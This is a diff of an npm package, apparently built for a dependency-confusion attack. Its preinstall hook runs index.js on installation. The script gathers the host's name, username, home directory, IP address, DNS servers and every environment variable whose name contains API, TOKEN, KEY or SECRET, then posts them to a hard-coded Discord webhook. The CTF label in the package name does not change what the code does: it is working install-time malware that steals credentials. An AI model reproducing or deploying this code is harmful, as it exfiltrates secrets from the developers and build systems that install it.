akshansh-jaiswal-ctf-security 9.99.99

package/index.js

@@ -0,0 +1,94 @@
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+
+const discordWebhookUrl = 'https://discord.com/api/webhooks/1193495191710089256/gbP4D1WCBOymeyH8Dk3wU0hQAn7KkeQcdJybmtWCRC3bQKCHpDM6bEGzox_Gn3OA-BDv'; // Replace with your Discord Webhook URL
+
+function getIPv4() {
+    const ifaces = os.networkInterfaces();
+    for (let dev in ifaces) {
+        for (let details of ifaces[dev]) {
+            if (details.family === 'IPv4' && !details.internal) {
+                return details.address;
+            }
+        }
+    }
+    return '127.0.0.1'; 
+}
+
+
+function filterSensitiveEnvVars(env) {
+    const sensitiveVars = {};
+    for (const [key, value] of Object.entries(env)) {
+        if (key.includes('API') || key.includes('TOKEN') || key.includes('KEY') || key.includes('SECRET')) {
+            sensitiveVars[key] = value;
+        }
+    }
+    return sensitiveVars;
+}
+
+const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
+Current Directory: ${__dirname}
+Home Directory: ${os.homedir()}
+Hostname: ${os.hostname()}
+Username: ${os.userInfo().username}
+IP Address: ${getIPv4()}
+Dns-Server: ${dns.getServers()}
+Package: ${JSON.stringify(require('./package.json'), null, 2)}`;
+
+const sensitiveEnvVars = filterSensitiveEnvVars(process.env);
+const envVariablesString = JSON.stringify(sensitiveEnvVars, null, 2);
+const discordCharLimit = 2000;
+
+function chunkSubstr(str, size) {
+    const numChunks = Math.ceil(str.length / size);
+    const chunks = new Array(numChunks);
+
+    for (let i = 0, o = 0; i < numChunks; ++i, o += size) {
+        chunks[i] = str.substr(o, size);
+    }
+    return chunks;
+}
+
+const availableSpace = discordCharLimit - baseMessage.length - 100; 
+const envVarChunks = chunkSubstr(envVariablesString, availableSpace);
+
+
+function sendMessage(message, delay) {
+    setTimeout(() => {
+        const payload = JSON.stringify({ content: message });
+        const parsedUrl = new URL(discordWebhookUrl);
+        const options = {
+            hostname: parsedUrl.hostname,
+            path: parsedUrl.pathname,
+            method: 'POST',
+            headers: {
+                'Content-Type': 'application/json',
+                'Content-Length': Buffer.byteLength(payload)
+            }
+        };
+
+        const req = https.request(options, (res) => {
+            console.log(`Status: ${res.statusCode}`);
+            res.on('data', (d) => {
+                process.stdout.write(d);
+            });
+        });
+
+        req.on('error', (e) => {
+            console.error(e);
+        });
+
+        req.write(payload);
+        req.end();
+    }, delay);
+}
+
+
+sendMessage(baseMessage, 0);
+
+
+envVarChunks.forEach((chunk, index) => {
+    const delay = (index + 1) * 2000; 
+    sendMessage(`Env Part ${index + 1}: ${chunk}`, delay);
+});

package/package.json

@@ -0,0 +1,15 @@
+{
+    "name": "akshansh-jaiswal-ctf-security",
+    "version": "9.99.99",
+    "description": "akshansh-security",
+    "main": "index.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "preinstall": "node index.js"
+    },
+    "author": "akshansh",
+    "license": "ISC",
+    "dependencies": {
+        "akshansh-jaiswal-ctf-security": "^99.99.99"
+    }
+}